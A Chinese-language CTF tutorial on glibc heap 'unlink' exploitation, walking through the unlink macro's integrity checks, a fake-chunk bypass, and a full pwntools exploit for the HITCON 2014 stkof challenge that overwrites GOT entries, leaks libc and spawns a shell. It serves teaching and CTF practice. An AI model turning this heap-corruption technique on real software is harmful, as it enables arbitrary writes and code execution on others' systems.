Unlink详解
一、 Unlink介绍
Unlink被定义为一个宏（高版本libc中被定义为了静态函数 unlink_chunk)，其源码如下
/*
* 从双向链表中安全移除节点P的宏
* AV: 分配区指针，用于错误处理
* P: 要移除的节点指针
* BK: 临时存储后驱节点指针
* FD: 临时存储前驱节点指针
*/
#define unlink(AV, P, BK, FD) {
/* 获取P的前驱和后继节点 */
FD = P->fd;
BK = P->bk;
/* 验证前后节点指针的完整性：前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
/* 链表完整性验证通过，执行移除操作 */
else {
/* 基本链表操作：让前驱和后继互相指向，跳过P */
FD->bk = BK;
BK->fd = FD;
/* 处理非small bin的特殊情况（large bins可能有额外的大小链表） */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
/* 如果后继节点的大小链表指针为空，需要重建 */
if (FD->fd_nextsize == NULL) {
/* 情况1：P是唯一节点，让后继节点自环 */
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
/* 情况2：将P的大小链表指针转移给后继节点 */
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD; /* 更新后节点的后驱 */
P->bk_nextsize->fd_nextsize = FD; /* 更新前节点的前驱 */
}
}
/* 如果后继已有大小链表指针，直接跳过P */
else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
Unlink是堆管理中的一个操作，用于将一个chunk从双向链表中取出。触发unlink，往往是通过free物理相邻的下一块chunk，检查到该chunk的上一块处于free状态（size的prev_inuse为0)，就用unlink将上一块脱链后合并。
实现过程如下图。（图画的丑陋，别喷）
当我们执行Unlink将chunk2从双向链表中取出的时候，这个双向链表就变成下面这个样子。
漏洞点： 如果我们可以伪造chunk2，通过控制fd和bk的值，我们似乎就可以实现任意地址写。
但是事情并非如此简单，通过上面给出的源码可以看到，Unlink内部做了许多保护和限制，下面我们就来研究这些保护以及限制。
二、 保护和限制
1. chunksize(P) == prev_size(next_chunk(P))
这部分检测源码如下：
/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
malloc_printerr("corrupted size vs. prev_size");
这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等（这是free函数中的检测）
2. fd->bk == P && bk -> fd == P
这部分检测源码如下：
/* 验证前后节点指针的完整性：前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
/* 链表完整性验证通过，执行移除操作 */
else {
/* 基本链表操作：让前驱和后继互相指向，跳过P */
FD->bk = BK;
BK->fd = FD;
其实就是在检测这个双向链表的结构是否完整。
3. not small
这部分检测源码如下：
/* 处理非small bin的特殊情况（large bins可能有额外的大小链表） */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
简单来说，如果chunk的大小落在largebin范围内，就会进行对nextsize的检查
三、 适用场景及绕过方法
适用场景（一般来说）
- 有一个list专门用于存户malloc得到的指针
- 存在溢出漏洞
保护绕过（以上面讲的适用场景为例）
保护1
通过溢出，对下一个堆块进行修改，使得下一个堆块的prev_size = fackchcunk的size，prev_inuse = 0
保护2
对于保护2，可以通过构造facck chunk来绕过。
chunk_list存在的时候，我们做以下构造
fack chunk的fd指向 存放当前堆块指针的地址 -0x18（bk指针相对于chunk头的偏移是0x18)
fack chunk的bk指向 存放当前堆块指针的地址 -0x10（fd指针相对于chunk头的偏移是0x10)
这样就实现了 fack_chunk的fd指向的“chunk”的bk指向它，fack_chunk的bk指向的“chunk”指向它，从而成功绕过检测。
fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10
保护3
更简单了，直接不申请largebin大小的chunk即可。
四、 例题分析
题目来源：[2014_hitccon_stkof]
先检查一下保护，看一下文件的ELF信息
可以看到是64位小端序，开启了canary和nx，got表可写
丢到ida里面看一看（为了方便查看，改了一些函数和变量的名字）
main函数
creat函数
delete函数
edit函数
还有一个没什么用的函数，这里就不管他了。
通过分析程序的主要函数，我们发现申请的堆块的指针都在存放在bss段的一个数组（后面叫做list）中，并且edit函数输入的字节数目由我们自己控制，所以存在溢出。所以这道题可以用unlink来做。
前置准备：
def cmd(choicce):
p.sendline(str(choicce).encode())
def add(size):
cmd(1)
p.sendline(str(size).encode())
def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)
def delete(index):
cmd(3)
p.sendline(str(index).encode())
所以思路就很清晰了：
我们先申请四个堆块（第一个用后续操作，第二个就是我们用来制作fack chunk的，第三个用来触发unlink，堆块四用来chunk防止与top chunk合并）
add(0x80)# 1
p.recvuntil(b'OK\n')
add(0x80)# 2
p.recvuntil(b'OK\n')
add(0x80)# 3
p.recvuntil(b'OK\n')
add(0x20)# 4
然后通过edit第二个堆块来制造fack chunk并溢出到第三个堆块，修改他的prev_size和prev_inuse
chunks = 0x602140
aim = chunks + 0x10#chunk2_addr
fd = aim - 0x18
bk = aim - 0x10
#fake_chunk
p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)
此时，chunk2内存是这样的
接着free第三个堆块触发unlink，这个时候原来存放第二个堆块的指针(list[2])的位置就被写入了 &list -0x8
后面我们就可以通过edit堆块2去修改list中存放的值，我们将chunk_list[1]、chunk_list[2]、chunk_list[3]的值分别改为free、puts、atoi的got表地址
然后通过edit堆块1，实现修改free_got为 puts_plt ，然后free堆块2就能泄露puts函数的真实地址，据此算出libc_base
然后edit堆块3将atoi_got改为system的地址，最后输入/bin/sh就能getshell
完整的exp如下
from pwn import *
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './pwn'
elf = ELF(pwnfile)
libc = elf.libc
is_remote = 0
if (remote):
p = remote('node5.buuoj.cn', 26221)
else:
p = process(pwnfile)
def cmd(choicce):
p.sendline(str(choicce).encode())
def add(size):
cmd(1)
p.sendline(str(size).encode())
def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)
def delete(index):
cmd(3)
p.sendline(str(index).encode())
if __name__ == '__main__':
chunks = 0x602140
aim = chunks + 0x10
fd = aim - 0x18
bk = aim - 0x10
puts_plt = elf.plt['puts']
free_got = elf.got['free']
fread_got = elf.got['fread']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
add(0x80)#
p.recvuntil(b'OK\n')
add(0x80)#
p.recvuntil(b'OK\n')
add(0x80)#
p.recvuntil(b'OK\n')
add(0x20)#
#gdb.attach(p)
#fake_chunk
p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)
p.recvuntil(b'OK\n')
delete(3)
p.recvuntil(b'OK\n')
payload2 = b'a'*0x10 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit( 2 , len(payload2) , payload2)
p.recvuntil(b'OK\n')
edit( 1 , 0x8 , p64(puts_plt))
p.recvuntil(b'OK\n')
delete(2)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
success("system_addr: " + hex(system_addr))
#gdb.attach(p)
p.recvuntil(b'OK\n')
edit( 3 , 0x8 , p64(system_addr))
pause()
p.sendline(b'/bin/sh\x00')
p.interactive()
浙公网安备 33010602011771号